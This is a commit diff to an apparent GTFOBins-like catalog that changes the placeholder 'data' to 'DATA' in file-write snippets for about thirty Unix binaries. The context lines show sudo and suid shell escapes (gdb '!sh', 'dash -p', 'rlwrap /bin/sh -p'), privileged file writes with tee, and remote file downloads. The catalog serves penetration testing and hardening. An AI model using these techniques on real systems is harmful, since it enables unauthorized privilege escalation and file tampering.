Use DATA as a placeholder for file-write operations

This commit is contained in:
Andrea Cardaci 2018-08-20 14:35:43 +02:00
parent 866ca2e404
commit d4b50275bb
29 changed files with 36 additions and 36 deletions

View File

@ -75,11 +75,11 @@ load-library:
file-read: file-read:
label: File read label: File read
description: | description: |
It reads files and may be used to do privileged reads or disclose files It reads data from files, it may be used to do privileged reads or disclose
outside a restricted file system. files outside a restricted file system.
file-write: file-write:
label: File write label: File write
description: | description: |
It writes files and may be used to do privileged writes or write files It writes data to files, it may be used to do privileged writes or write
outside a restricted file system. files outside a restricted file system.

View File

@ -5,7 +5,7 @@ functions:
file-write: file-write:
- code: | - code: |
export LFILE=file_to_write export LFILE=file_to_write
ash -c 'echo data > $LFILE' ash -c 'echo DATA > $LFILE'
suid-enabled: suid-enabled:
- code: "./ash" - code: "./ash"
sudo-enabled: sudo-enabled:

View File

@ -22,7 +22,7 @@ functions:
file-write: file-write:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write
awk -v LFILE=$LFILE 'BEGIN { print "data" > LFILE }' awk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'
file-read: file-read:
- code: | - code: |
LFILE=file_to_read LFILE=file_to_read

View File

@ -39,7 +39,7 @@ functions:
file-write: file-write:
- code: | - code: |
export LFILE=file_to_write export LFILE=file_to_write
bash -c 'echo data > $LFILE' bash -c 'echo DATA > $LFILE'
file-read: file-read:
- description: It trims trailing newlines and it's not binary-safe. - description: It trims trailing newlines and it's not binary-safe.
code: | code: |

View File

@ -12,7 +12,7 @@ functions:
file-write: file-write:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write
busybox sh -c 'echo "data" > $LFILE' busybox sh -c 'echo "DATA" > $LFILE'
file-read: file-read:
- code: | - code: |
LFILE=file_to_read LFILE=file_to_read

View File

@ -5,7 +5,7 @@ functions:
file-write: file-write:
- code: | - code: |
export LFILE=file_to_write export LFILE=file_to_write
ash -c 'echo data > $LFILE' ash -c 'echo DATA > $LFILE'
suid-enabled: suid-enabled:
- code: "./csh -b" - code: "./csh -b"
sudo-enabled: sudo-enabled:

View File

@ -5,7 +5,7 @@ functions:
file-write: file-write:
- code: | - code: |
export LFILE=file_to_write export LFILE=file_to_write
ash -c 'echo data > $LFILE' ash -c 'echo DATA > $LFILE'
suid-enabled: suid-enabled:
- code: ./dash -p - code: ./dash -p
sudo-enabled: sudo-enabled:

View File

@ -3,7 +3,7 @@ functions:
file-write: file-write:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write
echo "data" | dd of=$LFILE echo "DATA" | dd of=$LFILE
file-read: file-read:
- code: | - code: |
LFILE=file_to_read LFILE=file_to_read

View File

@ -8,7 +8,7 @@ functions:
- code: | - code: |
ed file_to_write ed file_to_write
a a
data DATA
. .
w w
q q

View File

@ -5,7 +5,7 @@ functions:
file-write: file-write:
- code: | - code: |
emacs file_to_write emacs file_to_write
data DATA
C-x C-s C-x C-s
file-read: file-read:
- code: emacs file_to_read - code: emacs file_to_read

View File

@ -11,7 +11,7 @@ functions:
file-write: file-write:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write
gdb -nx -ex "dump value $LFILE \"data\"" -ex quit gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit
sudo-enabled: sudo-enabled:
- code: sudo gdb -nx -ex '!sh' -ex quit - code: sudo gdb -nx -ex '!sh' -ex quit
--- ---

View File

@ -39,7 +39,7 @@ functions:
file-write: file-write:
- code: | - code: |
export LFILE=file_to_write export LFILE=file_to_write
ksh -c 'echo data > $LFILE' ksh -c 'echo DATA > $LFILE'
file-read: file-read:
- description: It trims trailing newlines. - description: It trims trailing newlines.
code: | code: |

View File

@ -56,7 +56,7 @@ functions:
f:write(d); f:write(d);
io.close(f);' io.close(f);'
file-write: file-write:
- code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("data"); io.close(f);' - code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("DATA"); io.close(f);'
file-read: file-read:
- code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);' - code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
sudo-enabled: sudo-enabled:

View File

@ -9,7 +9,7 @@ functions:
- description: Requires a newer GNU `make` version. - description: Requires a newer GNU `make` version.
code: | code: |
LFILE=file_to_write LFILE=file_to_write
make -s --eval="\$(file >$LFILE,data)" . make -s --eval="\$(file >$LFILE,DATA)" .
suid-enabled: suid-enabled:
- code: | - code: |
COMMAND='/bin/sh -p' COMMAND='/bin/sh -p'

View File

@ -12,7 +12,7 @@ functions:
file-write: file-write:
- code: | - code: |
nano file_to_write nano file_to_write
data DATA
^O ^O
file-read: file-read:
- code: nano file_to_read - code: nano file_to_read

View File

@ -12,7 +12,7 @@ functions:
file-write: file-write:
- code: | - code: |
pico file_to_write pico file_to_write
data DATA
^O ^O
file-read: file-read:
- code: pico file_to_read - code: pico file_to_read

View File

@ -9,7 +9,7 @@ functions:
- description: The file path must be absolute. - description: The file path must be absolute.
code: | code: |
export LFILE="/tmp/file_to_write" export LFILE="/tmp/file_to_write"
puppet apply -e "file { '$LFILE': content => 'data' }" puppet apply -e "file { '$LFILE': content => 'DATA' }"
file-read: file-read:
- description: The read file content is corrupted by the `diff` output format. The actual `/usr/bin/diff` command is executed. - description: The read file content is corrupted by the `diff` output format. The actual `/usr/bin/diff` command is executed.
code: | code: |

View File

@ -25,7 +25,7 @@ functions:
export LFILE=file_to_save export LFILE=file_to_save
python2 -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])' python2 -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
file-write: file-write:
- code: python2 -c 'open("file_to_write","w+").write("data")' - code: python2 -c 'open("file_to_write","w+").write("DATA")'
file-read: file-read:
- code: python2 -c 'open("file_to_read").read()' - code: python2 -c 'open("file_to_read").read()'
load-library: load-library:

View File

@ -25,7 +25,7 @@ functions:
export LFILE=file_to_save export LFILE=file_to_save
python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])' python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])'
file-write: file-write:
- code: python3 -c 'open("file_to_write","w+").write("data")' - code: python3 -c 'open("file_to_write","w+").write("DATA")'
file-read: file-read:
- code: python3 -c 'open("file_to_read").read()' - code: python3 -c 'open("file_to_read").read()'
load-library: load-library:

View File

@ -6,7 +6,7 @@ functions:
- description: This adds timestamps to the output file. This relies on the external `echo` command. - description: This adds timestamps to the output file. This relies on the external `echo` command.
code: | code: |
LFILE=file_to_write LFILE=file_to_write
rlwrap -l "$LFILE" echo data rlwrap -l "$LFILE" echo DATA
suid-enabled: suid-enabled:
- code: ./rlwrap -H /dev/null /bin/sh -p - code: ./rlwrap -H /dev/null /bin/sh -p
sudo-enabled: sudo-enabled:

View File

@ -22,7 +22,7 @@ functions:
export LFILE=file_to_save export LFILE=file_to_save
ruby -e 'require "net/http"; Net::HTTP.start(ENV["RHOST"], ENV["RPORT"]) { |http| r = http.get(ENV["RFILE"]); open(ENV["LFILE"], "wb") { |file| file.write(r.body) } }' ruby -e 'require "net/http"; Net::HTTP.start(ENV["RHOST"], ENV["RPORT"]) { |http| r = http.get(ENV["RFILE"]); open(ENV["LFILE"], "wb") { |file| file.write(r.body) } }'
file-write: file-write:
- code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("data") }' - code: ruby -e 'File.open("file_to_write", "w+") { |f| f.write("DATA") }'
file-read: file-read:
- code: ruby -e 'puts File.read("file_to_read")' - code: ruby -e 'puts File.read("file_to_read")'
load-library: load-library:

View File

@ -9,7 +9,7 @@ functions:
file-write: file-write:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write
sed -n "1s/.*/data/w $LFILE" /etc/hosts sed -n "1s/.*/DATA/w $LFILE" /etc/hosts
file-read: file-read:
- code: | - code: |
LFILE=file_to_read LFILE=file_to_read

View File

@ -4,14 +4,14 @@ functions:
file-write: file-write:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write
shuf -e data -o "$LFILE" shuf -e DATA -o "$LFILE"
suid-enabled: suid-enabled:
- description: - description:
code: | code: |
LFILE=file_to_write LFILE=file_to_write
./shuf -e data -o "$LFILE" ./shuf -e DATA -o "$LFILE"
sudo-enabled: sudo-enabled:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write
sudo shuf -e data -o "$LFILE" sudo shuf -e DATA -o "$LFILE"
--- ---

View File

@ -5,7 +5,7 @@ functions:
file-write: file-write:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write
sqlite3 /dev/null -cmd ".output $LFILE" 'select "data";' sqlite3 /dev/null -cmd ".output $LFILE" 'select "DATA";'
file-read: file-read:
- code: | - code: |
LFILE=file_to_read LFILE=file_to_read

View File

@ -10,7 +10,7 @@ functions:
code: | code: |
LFILE=file_to_write LFILE=file_to_write
TF=$(mktemp) TF=$(mktemp)
echo data > "$TF" echo DATA > "$TF"
tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
file-read: file-read:
- description: This only works for GNU tar. - description: This only works for GNU tar.

View File

@ -4,13 +4,13 @@ functions:
file-write: file-write:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write
echo data | ./tee -a "$LFILE" echo DATA | ./tee -a "$LFILE"
suid-enabled: suid-enabled:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write
echo data | ./tee -a "$LFILE" echo DATA | ./tee -a "$LFILE"
sudo-enabled: sudo-enabled:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write
echo data | sudo tee -a "$LFILE" echo DATA | sudo tee -a "$LFILE"
--- ---

View File

@ -9,7 +9,7 @@ functions:
file-write: file-write:
- code: | - code: |
vi file_to_write vi file_to_write
idata iDATA
^[ ^[
w w
file-read: file-read:

View File

@ -9,7 +9,7 @@ functions:
file-write: file-write:
- code: | - code: |
vim file_to_write vim file_to_write
idata iDATA
^[ ^[
w w
file-read: file-read:

View File

@ -3,7 +3,7 @@ functions:
file-write: file-write:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write
echo data | xxd | xxd -r - "$LFILE" echo DATA | xxd | xxd -r - "$LFILE"
file-read: file-read:
- code: | - code: |
LFILE=file_to_read LFILE=file_to_read